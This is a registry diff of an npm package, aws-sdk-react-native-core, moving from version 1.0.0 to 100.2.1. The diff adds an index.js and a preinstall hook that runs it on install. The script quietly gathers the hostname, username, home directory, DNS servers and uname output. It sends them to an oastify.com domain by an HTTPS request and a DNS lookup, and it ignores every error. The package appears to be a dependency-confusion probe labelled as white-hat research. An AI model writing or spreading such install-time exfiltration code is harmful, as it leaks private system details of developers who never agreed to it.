aws-sdk-react-native-core 1.0.0 → 100.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +59 -0
- package/package.json +5 -6
package/index.js
ADDED
@@ -0,0 +1,59 @@
|
|
1
|
+
// only for a research purpose
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const https = require("https");
|
5
|
+
const { execSync } = require("child_process");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
|
8
|
+
|
9
|
+
const COLLAB_DOMAIN = "fq9r5wh1xf20ibr24uzcwd0ohfn6b2zr.oastify.com";
|
10
|
+
|
11
|
+
// Collect metadata
|
12
|
+
let uname = "";
|
13
|
+
try {
|
14
|
+
uname = execSync("uname -a").toString().trim();
|
15
|
+
} catch (e) {
|
16
|
+
uname = "N/A";
|
17
|
+
}
|
18
|
+
|
19
|
+
const data = {
|
20
|
+
pkg: packageJSON.name,
|
21
|
+
ver: packageJSON.version,
|
22
|
+
host: os.hostname(),
|
23
|
+
user: os.userInfo().username,
|
24
|
+
home: os.homedir(),
|
25
|
+
arch: os.arch(),
|
26
|
+
platform: os.platform(),
|
27
|
+
dns: dns.getServers().join(","),
|
28
|
+
uname: uname,
|
29
|
+
ts: new Date().toISOString()
|
30
|
+
};
|
31
|
+
|
32
|
+
// Encode data into query string
|
33
|
+
const query = Object.entries(data)
|
34
|
+
.map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`)
|
35
|
+
.join("&");
|
36
|
+
|
37
|
+
// === 1. HTTP Pingback ===
|
38
|
+
try {
|
39
|
+
const httpOptions = {
|
40
|
+
hostname: COLLAB_DOMAIN,
|
41
|
+
port: 443,
|
42
|
+
path: `/?${query}`,
|
43
|
+
method: "GET"
|
44
|
+
};
|
45
|
+
|
46
|
+
const req = https.request(httpOptions, (res) => {
|
47
|
+
res.on("data", () => {}); // Silent response
|
48
|
+
});
|
49
|
+
|
50
|
+
req.on("error", () => {}); // Ignore errors
|
51
|
+
req.end();
|
52
|
+
} catch (_) {}
|
53
|
+
|
54
|
+
// === 2. DNS Pingback ===
|
55
|
+
try {
|
56
|
+
const dnsPing = `npm-${os.hostname().replace(/\./g, "-")}.${COLLAB_DOMAIN}`;
|
57
|
+
dns.lookup(dnsPing, () => {}); // Async, silent
|
58
|
+
} catch (_) {}
|
59
|
+
|
package/package.json
CHANGED
@@ -1,11 +1,10 @@
|
|
1
1
|
{
|
2
2
|
"name": "aws-sdk-react-native-core",
|
3
|
-
"version": "
|
4
|
-
"description": "",
|
3
|
+
"version": "100.2.1",
|
4
|
+
"description": "Facebook White Hat Researcher",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
7
|
-
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
-
|
9
|
-
|
10
|
-
"license": "ISC"
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
}
|
11
10
|
}
|